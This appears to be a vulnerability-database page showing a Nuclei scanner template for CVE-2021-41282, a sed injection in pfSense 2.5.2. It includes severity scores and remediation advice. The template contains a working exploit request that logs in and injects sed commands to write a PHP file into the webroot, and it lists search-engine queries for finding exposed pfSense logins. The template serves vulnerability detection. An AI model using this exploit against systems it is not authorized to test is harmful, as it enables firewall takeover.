Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-41282
HistoryMar 19, 2022 - 9:05 a.m.

pfSense - Arbitrary File Write

2022-03-1909:05:40
ProjectDiscovery
github.com
23
pfsense
arbitrary file write
data injection
authenticated users
firewall
netstat
sed utility

CVSS2

9

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

9.1

Confidence

High

EPSS

0.972

Percentile

99.8%

diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
id: CVE-2021-41282

info:
  name: pfSense - Arbitrary File Write
  author: cckuailong
  severity: high
  description: |
    diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall.
  remediation: |
    Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
  reference:
    - https://www.shielder.it/advisories/pfsense-remote-command-execution/
    - https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
    - https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41282
    - https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-41282
    cwe-id: CWE-74
    epss-score: 0.97112
    epss-percentile: 0.99788
    cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: pfsense
    product: pfsense
    shodan-query: http.title:"pfsense - login"
    fofa-query: title="pfsense - login"
    google-query: intitle:"pfsense - login"
  tags: cve2021,cve,pfsense,rce,authenticated

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
      - |
        GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /test.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
          - "status_code==200"
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - '(sid:[a-z0-9,;:]+)'
        internal: true
        part: body
# digest: 4a0a0047304502200b3a348162cb62f7e90716842bf9442465d12b9230019fc58e6c50aff41f3e9802210083d12fd90d0f0796e3b1ff8fee964db32f4311f5ec3eebf3887d73c22213c9ac:922c64590222798bb761d5b6d8e72950

CVSS2

9

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

9.1

Confidence

High

EPSS

0.972

Percentile

99.8%